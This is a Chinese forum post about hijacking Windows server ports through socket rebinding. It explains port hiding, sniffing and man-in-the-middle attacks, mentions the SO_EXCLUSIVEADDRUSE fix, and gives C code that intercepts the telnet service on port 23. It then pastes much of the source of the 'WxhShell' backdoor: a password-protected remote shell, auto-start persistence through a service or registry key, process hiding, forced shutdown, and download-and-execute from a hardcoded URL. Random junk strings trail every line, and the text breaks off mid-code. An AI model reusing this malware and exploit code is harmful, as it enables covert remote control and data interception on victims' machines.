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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: At_Y$N:  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); +_K;Pj]x  
x@(f^P  
  saddr.sin_family = AF_INET; =kkA  
Ud?d.  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); wEn&zZjx  
#]hkQo  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); SYhspB  
RIpq/^Th  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 9>Z#o<*_/  
5 /VB'N#7s  
  这意味着什么?意味着可以进行如下的攻击: %LaC$w_X  
wAwH8xLU  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 "4- Nnm  
p%qL0   
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) u,k8i:JY  
H[yLl v  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ^x#RUv  
-]MP,P%  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  WK5bt2x  
aWK7 -n  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 QU;C*}0Zl  
nff]Y$FB  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 f3&//h8  
+:8YMM#9V  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 87*[o  
WYUU-  
  #include <qiap2  
  #include J(*"S!q)6  
  #include 30-w TcG  
  #include    ?2/M W27w  
  DWORD WINAPI ClientThread(LPVOID lpParam);   "qp_*Y  
  int main() M|u5Vs1  
  { ;]ew>P)  
  WORD wVersionRequested; RH0a\RC!G  
  DWORD ret; |"*:ZSj  
  WSADATA wsaData; : \`MrI^  
  BOOL val; aB_z4dqwU  
  SOCKADDR_IN saddr; {.)D)8`<d  
  SOCKADDR_IN scaddr; >b${rgCvQ  
  int err; QrA+W\=_`y  
  SOCKET s; 8#AXK{  
  SOCKET sc; c9={~  
  int caddsize; 5jk4k c  
  HANDLE mt; <C xet~x  
  DWORD tid;   )Jn80~U|1  
  wVersionRequested = MAKEWORD( 2, 2 ); o%7yhCY  
  err = WSAStartup( wVersionRequested, &wsaData ); XcneH jpR  
  if ( err != 0 ) { ] lTfi0}g_  
  printf("error!WSAStartup failed!\n"); \`x'g)z(i  
  return -1; Qgi:q  
  } hR{Zh>  
  saddr.sin_family = AF_INET; s*Ll\#  
   k$/].P*!  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 |-<L :%  
K.Ir+SB  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); JASn\z  
  saddr.sin_port = htons(23); @e/dQ:Fb  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 4[wP$  
  { QI<3N  
  printf("error!socket failed!\n"); :Tl?yG F  
  return -1; \x}UjHYIc&  
  } 'z:p8"h}  
  val = TRUE; FT=>haN  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 1C{n\_hR  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) f|)t[,c  
  { /;1FZ<zU  
  printf("error!setsockopt failed!\n"); T~E83Jw  
  return -1; nm.d.A/]Z  
  } biD7(AK  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; .}wir,  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 i :72FVo  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 \8ZNXCP  
Tc :`TE=2  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Cz%ih#^b  
  { \;<Y/sg  
  ret=GetLastError(); O&uOm:/(  
  printf("error!bind failed!\n"); u1l#k60  
  return -1; I(SE)%!%S  
  } I5,Fh>  
  listen(s,2); w.\:I[  
  while(1) o-_ a0j  
  { oZCO$a  
  caddsize = sizeof(scaddr); $9/r*@bu8d  
  //接受连接请求 '(}BfDP  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); v.MWO]L  
  if(sc!=INVALID_SOCKET) {H74`-C)W  
  { ]M/w];:  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); *0@e_h  
  if(mt==NULL) w# ['{GL  
  { P%c<0y"O:>  
  printf("Thread Creat Failed!\n"); ]3G2mY;`"%  
  break;  <_~`)t  
  } dj#<,e\  
  } $si2H8  
  CloseHandle(mt); Jx]`!dP3  
  } OA;L^d  
  closesocket(s); ;FU d.vg{  
  WSACleanup(); WW.=>]7;  
  return 0; q!n|Ju<  
  }   E+gUzz5  
  DWORD WINAPI ClientThread(LPVOID lpParam) O;~1M3Ii  
  { 1<*-, f  
  SOCKET ss = (SOCKET)lpParam; LS`Gg7]S  
  SOCKET sc; GZ"O%: d  
  unsigned char buf[4096]; <}evOw2  
  SOCKADDR_IN saddr; Kxq~,g=t  
  long num; AbB%osz}Ed  
  DWORD val; +q1@,LxN  
  DWORD ret; kciH  
  //如果是隐藏端口应用的话,可以在此处加一些判断 E?V:dr  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   xGqZ8v`v  
  saddr.sin_family = AF_INET; KQk;:1hW  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); :mij%nQ>$  
  saddr.sin_port = htons(23); ppxu\a  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) plca`  
  { q8U]Hyp(`  
  printf("error!socket failed!\n"); +XsY*$O  
  return -1; _.j KcDf  
  } %!@Dop/<  
  val = 100; yuND0,e  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) VGSe<6Hh  
  { ?/;<32cE,  
  ret = GetLastError(); XG0,@Ly  
  return -1; tw;`H( UZ^  
  } b[$>HB_Na  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) TR#5V@e.m  
  { PpbW+}aCF  
  ret = GetLastError(); h5~tsd}OU  
  return -1; PffRV7qU0  
  } ]p~XTZgW  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) M$w^g8F27H  
  { 18Ty )7r'  
  printf("error!socket connect failed!\n"); C@K@TfK!M  
  closesocket(sc); :g Ze>  
  closesocket(ss); 46*?hA7@r(  
  return -1; %;gD_H4mm  
  } IE3GM^7\  
  while(1) _c[t.\-`]  
  { &AW?!rH  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ?R";EnD  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 b.$Gc!g  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 UlyX$f%2  
  num = recv(ss,buf,4096,0); 7[Y<5T]  
  if(num>0) JTVCaL3Z  
  send(sc,buf,num,0); |g@1qXO3  
  else if(num==0) /7*u!CNm  
  break; N j?,'?'O}  
  num = recv(sc,buf,4096,0); 55Jk "V#8  
  if(num>0)  pCv=rK@  
  send(ss,buf,num,0); GeE|&popO  
  else if(num==0) 4rv3D@E  
  break; n *U1 M  
  } c" yf>0  
  closesocket(ss); TzVNZDQ`Jl  
  closesocket(sc); [~ fJ/  
  return 0 ; `6UW?1_Z5  
  } >hHn{3y  
Up`zVN59.  
Uc \\..Cf  
========================================================== I(pU_7mw  
UA}k"uM  
下边附上一个代码,,WXhSHELL &AC-?R|Dp  
{4UlJ,Z.n  
========================================================== oMcX{v^"  
6Vi #O^>  
#include "stdafx.h" Ip|7JL0Z  
j&ddpS(s  
#include <stdio.h> K" Y,K  
#include <string.h> $$`}b^,/  
#include <windows.h> (1*?2u*j  
#include <winsock2.h> 9J*m!-hOY  
#include <winsvc.h> ^BW V6  
#include <urlmon.h> R|Y)ow51  
R/U"]Rc  
#pragma comment (lib, "Ws2_32.lib") -49OE*uF  
#pragma comment (lib, "urlmon.lib") ,Epg&)wC]  
J %URg=r  
#define MAX_USER   100 // 最大客户端连接数 x-Yt@}6mvl  
#define BUF_SOCK   200 // sock buffer Sw>AgES  
#define KEY_BUFF   255 // 输入 buffer p\~ lPXK  
p<tj6O  
#define REBOOT     0   // 重启 S-g`rTx  
#define SHUTDOWN   1   // 关机 -&y{8<bu4H  
IKH#[jW'IB  
#define DEF_PORT   5000 // 监听端口 %.[t(F  
d2Bn`VI  
#define REG_LEN     16   // 注册表键长度 R2-OT5Ej  
#define SVC_LEN     80   // NT服务名长度 O]90 F  
lhKd<Y"  
// 从dll定义API BB>3Kj:|  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); hBO I:4u[  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); >?'cZTNk]  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 8 }nA8J  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); % =br-c  
rer=o S  
// wxhshell配置信息 C 3b  
struct WSCFG { Xq1n1_Z  
  int ws_port;         // 监听端口 bw ' yX  
  char ws_passstr[REG_LEN]; // 口令 /!uxP~2U  
  int ws_autoins;       // 安装标记, 1=yes 0=no U_y)p Cd  
  char ws_regname[REG_LEN]; // 注册表键名 7JQ5OC3  
  char ws_svcname[REG_LEN]; // 服务名 v_En9~e^n  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 zH.DyD5T;  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 J+kxb"#d  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 !Yz~HO,u+  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 25o + ?Y<  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ?x%HQ2`  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 y!h$Z6.  
L Lm{:T7  
}; Ul)2A  
gQCkoQi:j  
// default Wxhshell configuration z+C>P4c-y&  
struct WSCFG wscfg={DEF_PORT, .yd{7Te  
    "xuhuanlingzhe", y}R{A6X)  
    1, GTyS8`5E*  
    "Wxhshell", /#GX4&z  
    "Wxhshell", ~6Vs>E4G  
            "WxhShell Service", Y7zg  
    "Wrsky Windows CmdShell Service", i-vhX4:bd  
    "Please Input Your Password: ", tK`sVsm>  
  1, m1heU3BUWU  
  "http://www.wrsky.com/wxhshell.exe", O&!+ni  
  "Wxhshell.exe" MMN2X xS  
    }; Kzb&aOw  
ICN>8|O`&  
// 消息定义模块 @TdPeTw\  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; *!ZU" q}i  
char *msg_ws_prompt="\n\r? for help\n\r#>"; U@@#f;&  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; TxoMCN?7c  
char *msg_ws_ext="\n\rExit."; 7<<pP  
char *msg_ws_end="\n\rQuit."; 4L85~l  
char *msg_ws_boot="\n\rReboot..."; ;XMbjWc  
char *msg_ws_poff="\n\rShutdown..."; YR@@:n'TP  
char *msg_ws_down="\n\rSave to "; (wdE@/V  
d+[yW7%J  
char *msg_ws_err="\n\rErr!"; x }[/A;N  
char *msg_ws_ok="\n\rOK!"; Oz# $x  
j7K9T  
char ExeFile[MAX_PATH]; ^/47 *vcN5  
int nUser = 0; >0k7#q}O  
HANDLE handles[MAX_USER]; Ok/~E  
int OsIsNt; @NWjYHM[`  
`Rub"zM  
SERVICE_STATUS       serviceStatus; WO?EzQ ?  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 0?qXDO&~  
\rY|l  
// 函数声明 o7i/~JkTP  
int Install(void); .h~M&d!  
int Uninstall(void); @Ck6s  
int DownloadFile(char *sURL, SOCKET wsh); }QU9+<Z[r  
int Boot(int flag); =;-/( C  
void HideProc(void); $Q{)AN;m  
int GetOsVer(void); LyH8T'C~  
int Wxhshell(SOCKET wsl); c9/w-u~j  
void TalkWithClient(void *cs); kSv?p1\@&P  
int CmdShell(SOCKET sock); Q.7Rv XNw8  
int StartFromService(void); RIJ+]uir4  
int StartWxhshell(LPSTR lpCmdLine); S5*wUd*p#  
 TOdH  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); XAR~d6iZ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); O@{ JB  
MNzq,/Wf  
// 数据结构和表定义 H=?v$! i  
SERVICE_TABLE_ENTRY DispatchTable[] = B(w k $2  
{ 7Te`#"  
{wscfg.ws_svcname, NTServiceMain}, fQi7e5  
{NULL, NULL} 3Q*K+(`{  
}; WCA`34(  
g6o-/A!Q3  
// 自我安装 {(]B{n  
int Install(void) hSSF]  
{ M;OY+ |uA  
  char svExeFile[MAX_PATH]; q{@j$fMt0  
  HKEY key; rp u9  
  strcpy(svExeFile,ExeFile); E@^`B9 ;Q7  
LbOjKM^-  
// 如果是win9x系统,修改注册表设为自启动 rQg7r>%Q  
if(!OsIsNt) { ~z#Faed=a  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { b2u_1P\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ';us;xR#  
  RegCloseKey(key); {LYA?w^GT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  /s.sW l  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !^cQPX2<  
  RegCloseKey(key); $]|fjB#D  
  return 0; V9z/yNo  
    } 7\@[e, ^9  
  } 4N& VT"  
} oNY;z-QK  
else { /f~ V(DK  
:]iV*zo_  
// 如果是NT以上系统,安装为系统服务 ]S9~2;2^,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); x!fvSoHp  
if (schSCManager!=0) J7W]Str  
{ Os' 7h  
  SC_HANDLE schService = CreateService +Wh0Of  
  ( EpSVHD:*  
  schSCManager, wG [X*/v  
  wscfg.ws_svcname, ; S7 %  
  wscfg.ws_svcdisp, 9i GUE  
  SERVICE_ALL_ACCESS, `=0}+  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , r7o63]  
  SERVICE_AUTO_START, ))V)]+  
  SERVICE_ERROR_NORMAL, :\9E%/aAD  
  svExeFile, j:B?0~=  
  NULL, Tn,'*D@l  
  NULL, .vYU4g]  
  NULL, }D/0&<1  
  NULL, ~K]5`(KV  
  NULL &+;z`A'|8  
  ); P,lKa.  
  if (schService!=0) ^55#!/9  
  { fBBNP)  
  CloseServiceHandle(schService); *>,8+S33r{  
  CloseServiceHandle(schSCManager); 'AU(WHf  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); H4p N+  
  strcat(svExeFile,wscfg.ws_svcname); %Ez=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Z8$n-0Ww  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); H+y(W5|2/X  
  RegCloseKey(key); b!Pz~faXD  
  return 0; xU+c?OLi  
    } Rl90uF]8  
  } {^zieP!  
  CloseServiceHandle(schSCManager); /\P3UrQ&]  
} unu%\f>^4  
} hvCX,^LoJ  
3* C9;Q}  
return 1; dlkxA^  
} %_C!3kKv~  
_1_CYrUc  
// 自我卸载 a[d6@!  
int Uninstall(void) dnt: U!TW@  
{ cnJ(Fv_F$  
  HKEY key; e<o{3*%p)  
+I1>; {{  
if(!OsIsNt) { e]F4w(*=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { TpXbJ]o9  
  RegDeleteValue(key,wscfg.ws_regname); 5%M 'ewu  
  RegCloseKey(key); Ve\^(9n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { M ^gva?{  
  RegDeleteValue(key,wscfg.ws_regname); /NRdBN  
  RegCloseKey(key); '| (#^jAj  
  return 0; nP`#z&C  
  } 2\Bt~;EIx  
} I- oY@l`  
} Dn/{  s$\  
else { trD-qi  
j6x1JM  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2_i/ F)W  
if (schSCManager!=0) RMJq9a  
{ +b@KS"3h  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); nGb%mlb  
  if (schService!=0) e(nT2E  
  { cb|cYCo5  
  if(DeleteService(schService)!=0) { qy@v, a  
  CloseServiceHandle(schService); n:QFwwQ`Q;  
  CloseServiceHandle(schSCManager); rjsqXo:9  
  return 0; es]S]}JV  
  } 3%`asCW$  
  CloseServiceHandle(schService);  ?X{ul  
  } 6,Aj5jG  
  CloseServiceHandle(schSCManager); -jN:~.  
} 4rX jso|  
} j;%RV)e  
E(t:F^z&D  
return 1; X{2))t%  
} S#gIfb<D  
08*O|Ym,  
// 从指定url下载文件 +%Y`>1I^#  
int DownloadFile(char *sURL, SOCKET wsh) (H=7(  
{ #$/SM_X14C  
  HRESULT hr; `2}H$D  
char seps[]= "/"; M@)^*=0H  
char *token; ?[Gj?D.Wc  
char *file; Ekq&.qjYG"  
char myURL[MAX_PATH]; B^8]quOH  
char myFILE[MAX_PATH]; >b^|SL  
wD9Gl.uQ  
strcpy(myURL,sURL); 4(2iR0N  
  token=strtok(myURL,seps); JjO="Cmk/  
  while(token!=NULL) wO\,?SI4  
  { lawjGI  
    file=token; bBwMx{iNNz  
  token=strtok(NULL,seps); >|Xy'ZR  
  } 3RYg-$NK[  
1rhEk|pGZ  
GetCurrentDirectory(MAX_PATH,myFILE); [):&R1U  
strcat(myFILE, "\\"); e G8Zn<:s  
strcat(myFILE, file); W PDL$y  
  send(wsh,myFILE,strlen(myFILE),0); 8Xo`S<8VS  
send(wsh,"...",3,0); `EFPY$9`D  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); QtF'x<cB  
  if(hr==S_OK) Z:TW{:lrI  
return 0; {'(1c)q>  
else DM*GvBdR  
return 1; )Fa6 'M  
|{)SLvlJl  
} u<}PcI.  
e+_~a8 -|  
// 系统电源模块 ^;KL`  
int Boot(int flag) y2XeD=_'  
{ dV~yIxD}C*  
  HANDLE hToken; V={`k$p  
  TOKEN_PRIVILEGES tkp;  P5&mpl1  
sg=mkkD!g  
  if(OsIsNt) { PA=.)8  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); L%3m_'6QP  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); /Dh[lgF0C  
    tkp.PrivilegeCount = 1; |G!PG6%1  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; yP&SA+  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); AdCi*="m  
if(flag==REBOOT) { QvPG 6A]T  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) IV#kF}9$  
  return 0; ]GSs{'Uh B  
} >Ei-Spy>Xl  
else { i/Nd  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) xlJ8n+  
  return 0; k1EAmA l  
} &n5Lc`  
  } q;XO1Se  
  else { qQL]3qP  
if(flag==REBOOT) { L `7~~  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 3]*_*<D  
  return 0; hH=H/L_Z  
} wZ^ 7#yX>  
else { 3A~53W$M  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Z(' iZ'55F  
  return 0; L}>XH*  
} d=q&UCC  
} )$h<9e  
3L;GfYr0  
return 1; 2g)W-M  
} p4ML } q8  
LuLnmnmB  
// win9x进程隐藏模块 3EM=6\#q  
void HideProc(void) Rh:@@4<  
{ ~"oxytJ  
SBj9sFZ  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ~|LlT^C  
  if ( hKernel != NULL ) h{ &X`$  
  { d[b(+sHp a  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); i2PPVT  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); kF09t5Lr  
    FreeLibrary(hKernel); Jgf73IX[  
  } v=(L>gg  
3#d5.Ut  
return; AWp{n  
} fvW7a8k3  
kW'xuZ&  
// 获取操作系统版本 =Ws-s f]  
int GetOsVer(void) JN9 W:X.  
{ 8x`?Yc  
  OSVERSIONINFO winfo; ;ew3^i.du  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); N8<Wm>GLX~  
  GetVersionEx(&winfo); 7?@s.Sz|fV  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) d+5KHfkK  
  return 1; L*A9a  
  else ;P` z ?>J:  
  return 0; 1 LgzqRq  
} ]F,mj-?4x  
m=Z1DJG  
// 客户端句柄模块 NH?q/4=I0W  
int Wxhshell(SOCKET wsl) ebbC`eFD  
{ MKad 5gD*<  
  SOCKET wsh; -y8?"WB(b  
  struct sockaddr_in client; tgu}^TfKkg  
  DWORD myID; &^R0kCF`  
^Vl{IsY  
  while(nUser<MAX_USER) ~^U(GAs  
{ x Z 3b)j2D  
  int nSize=sizeof(client); <2cl1Fb  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 8 |2QJ  
  if(wsh==INVALID_SOCKET) return 1; Iz'*^{Ssm  
S7tc  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 3y}0J @  
if(handles[nUser]==0) N :#"4e  
  closesocket(wsh); /65ddt  
else wS Ty2Oyo;  
  nUser++; ,a N8`M  
  } l]BIFZ~  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); d" T">Og)  
G(LGa2;Zg  
  return 0; D49yV`  
} s~ZLnEb  
9v=fE2`-  
// 关闭 socket Ap&Bwo 8b  
void CloseIt(SOCKET wsh) Ae&470  
{ _f9XY  
closesocket(wsh); qpo3b7(N  
nUser--; W^}fAcQKH  
ExitThread(0); 0dv# [  
} 6,nws5dh  
9,7IsT8  
// 客户端请求句柄 X.u&4SH  
void TalkWithClient(void *cs) _*d8:|qw  
{ !Cq2<[K#  
 .;ptgX  
  SOCKET wsh=(SOCKET)cs; sW'SR  
  char pwd[SVC_LEN]; RAw/Q$I  
  char cmd[KEY_BUFF]; jQ &$5&o  
char chr[1]; D%L}vugxK  
int i,j; Nj8 `<Sl  
7 &y'\  
  while (nUser < MAX_USER) { zZ rUS'8  
~b.C[s  
if(wscfg.ws_passstr) { Gqe?CM  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); PuKT0*_ 7  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); vM_UF{a$=  
  //ZeroMemory(pwd,KEY_BUFF); A*;I}F  
      i=0; xcBV,[E{  
  while(i<SVC_LEN) { ]njObU)[zr  
p.(8ekh  
  // 设置超时 jNKu5"HB  
  fd_set FdRead; [PVem  
  struct timeval TimeOut; wR)U&da`@  
  FD_ZERO(&FdRead); FW](GWp`:  
  FD_SET(wsh,&FdRead); -4  ~(*  
  TimeOut.tv_sec=8; $)UMRG  
  TimeOut.tv_usec=0; 60 D0z  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); *G'R+_tdE  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); T8nOb9Nrj  
dMo456L  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *V@>E2@  
  pwd=chr[0]; _!vxX ]  
  if(chr[0]==0xd || chr[0]==0xa) { z?ck*9SZX  
  pwd=0; K9{]v=#I  
  break; {51<EvyE*  
  } ;5i~McH# t  
  i++; teRK#: .P  
    } J.nJ@?O+  
3aD\J_  
  // 如果是非法用户,关闭 socket }6U`/"RfcO  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); <4l;I*:2&  
} 9j[lr${A  
yeI((2L@E2  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 2[^p6s[  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [(*ObvEF  
bl/tl_.p00  
while(1) { 75>)1H)Xm  
Sbf+;:D  
  ZeroMemory(cmd,KEY_BUFF); A*&`cUoA  
vvWje:H  
      // 自动支持客户端 telnet标准   VLLE0W _]  
  j=0; #Cj$;q{!  
  while(j<KEY_BUFF) { _'CYS3-P3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); hv]}b'M$  
  cmd[j]=chr[0]; S"}G/lBx.  
  if(chr[0]==0xa || chr[0]==0xd) { `~~.0QC  
  cmd[j]=0; WTlR>|Zdn  
  break; 2q4dCbJ!  
  } N;\G=q] 9  
  j++; -XbO[_Wf  
    } aPELAU-  
zB/)_AW  
  // 下载文件 } `X.^}oe  
  if(strstr(cmd,"http://")) { mN!5JZ' 2  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ?3=D-Xrb  
  if(DownloadFile(cmd,wsh)) -Hx._I$l  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Kuj*U'ed7t  
  else E#5$O2b#  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l.Psh7B2  
  } :!fP~(R'm  
  else { r.JY88"  
J)148/  
    switch(cmd[0]) { E~b Yk6  
  YtQsSU  
  // 帮助 #3+-vyZm  
  case '?': { ^GS,4[)H  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); | e&v;48  
    break; }3}{}w0Y  
  } Vm3e6Y,K  
  // 安装 )`4g,W  
  case 'i': { Q5!"tF p  
    if(Install()) mbZS J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lZ\8$,B)  
    else !BQ:R(w  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ulqh}Uv'  
    break; BLno/JK0}  
    } {I]X-+D|_  
  // 卸载 7GyJmzEE  
  case 'r': { L,KK{o|Eq  
    if(Uninstall()) qjtrU#n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  Z>O2  
    else fw[Z7`\Q5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wM2[i  
    break; [|:kS  
    } 7,pn0,HI  
  // 显示 wxhshell 所在路径 s={jwI50  
  case 'p': { +OM9v3qJ  
    char svExeFile[MAX_PATH]; J7p'_\  
    strcpy(svExeFile,"\n\r"); 2$Fy?08q  
      strcat(svExeFile,ExeFile); fD1a)Az  
        send(wsh,svExeFile,strlen(svExeFile),0); F$!K/Mm[  
    break; &4m\``//9  
    } ,g"[7Za  
  // 重启 +O2z&a;q  
  case 'b': { [1 ?  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); `<3/k  
    if(Boot(REBOOT)) (b]r_|'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /W vgC)  
    else { H J8rb  
    closesocket(wsh); WZ3GI l  
    ExitThread(0); IwR/4LYI  
    } 6oQSXB@  
    break; !^,<nP  
    } G<8d=}  
  // 关机 X=W.{?  
  case 'd': { k3w(KH @  
